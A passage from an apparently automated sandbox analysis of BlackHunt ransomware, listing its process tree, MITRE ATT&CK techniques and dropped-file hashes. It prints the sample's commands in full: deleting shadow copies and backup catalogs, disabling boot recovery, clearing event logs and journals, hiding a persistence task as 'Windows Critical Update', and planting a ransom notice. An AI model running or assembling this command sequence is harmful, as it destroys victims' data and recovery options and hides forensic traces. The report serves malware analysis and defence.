    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:2084
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:2800
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:1572
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:3008
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:1156
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2156
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:1060
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:1152
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:1200
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:1872
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:336
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:1932
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:804
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:1804
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:1148
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:1616
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:2784
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe" /F
  2⤵
  PID:1180
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:2684
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:2776
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:2884
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:2780
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:2444
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2820
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2756
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2524
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2212
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1908
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1464
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:2128
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2560
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:2328
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2156
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:1892
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:2524
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:1876
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:1944
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:784
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2556
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:1344
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2076
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:1608
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1636
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:2840
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:3060
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:1580
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:2796
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:1988
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:2240
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:3812
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D F:\
    3⤵
    - Enumerates connected drives
    PID:4004
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:4048
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D C:\
    3⤵
    PID:3916
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:3856
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D M:\
    3⤵
    - Enumerates connected drives
    PID:2836
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:3200
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Setup
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3624
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:3876
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl System
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2584
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:1664
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Application
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:240
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:2144
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:1340
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:4020
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security /e:false
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2628
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:3644
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2936
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:3968
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3952
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:3980
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2156
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:3548
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:2532
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:3740
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:2868
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:3652
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:2604
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:2148
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
    3⤵
    PID:3244
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:936
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
    3⤵
    PID:2524
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:1688
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
    3⤵
    PID:1804
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:2240
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:2688
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:2228
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
    3⤵
    PID:1872
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:1692
- - C:\Windows\system32\taskkill.exe
    taskkill /IM mshta.exe /f
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2492
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:2012
- - C:\Windows\system32\notepad.exe
    notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
    3⤵
    PID:2360
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  PID:2028
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe"
  2⤵
  - Deletes itself
  PID:2176
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:2508

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "184079785961269863-18279324962106352143511591273122373873-253342478-1249445192"
1⤵
- Modifies Windows Defender Real-time Protection settings
PID:1076

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-957142298-1336270313688295761611043385333634151625826870-615938078-1358516929"
1⤵
PID:2056

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2752

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2624

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:2000

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:828

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Defacement

T1491

Inhibit System Recovery

T1490

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Downloads

C:\ProgramData\#BlackHunt_Private.key

Filesize
1KB

MD5
c54e68b29410742b0b61d22026b67934

SHA1
8cb5f21529d3dd762281771834e0bf753bcd8a51

SHA256
6b4ea7c153fb02d4043534d792da2f44e32f2a79a40fcb9977926021b00bf99a

SHA512
008974070794017185247f671ed559fed4a5618dca9d0d784d6675a16ea3ff8c2d8878524dad80681227c0c7cd5d337d49c98de4d35ea5abfb398d3fdd9a5210

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.hta

Filesize
12KB

MD5
65e02d29c932224143f137fb1c2359d4

SHA1
55893888b9c20ed59fa35cf2e2ec75ed65d5a77f

SHA256
b22358fd8ff6b9d51e55d177a89bc2015804dca7665b2e895502f3ad21451aea

SHA512
b364a8dceacfe11d6274d8edc8a9b4aca00a5c9ff8f0e5eccfdc891799958b047405f178f9e409b140c374363381277750b6ad747f59a95d938b0de9edbc565c

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.txt

Filesize
684B

MD5
b52e2127646180603bfb8ae6b1030f3d

SHA1
3857ac9fb12d2579c89e62db49bb2767af708a81

SHA256
7e3db573a70dcd7a530dcfb2b4647d88619ee3361ae04c94b42712297835b8ef

SHA512
5bf401299e6a51a6e90bd6cd560cece8a4f969eaf2a612a6239b1fecb8b6dbc1db4e96b9fd80682144e253db8276fb58ee9c9991e2bf94f0c6cd770b313e3203

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads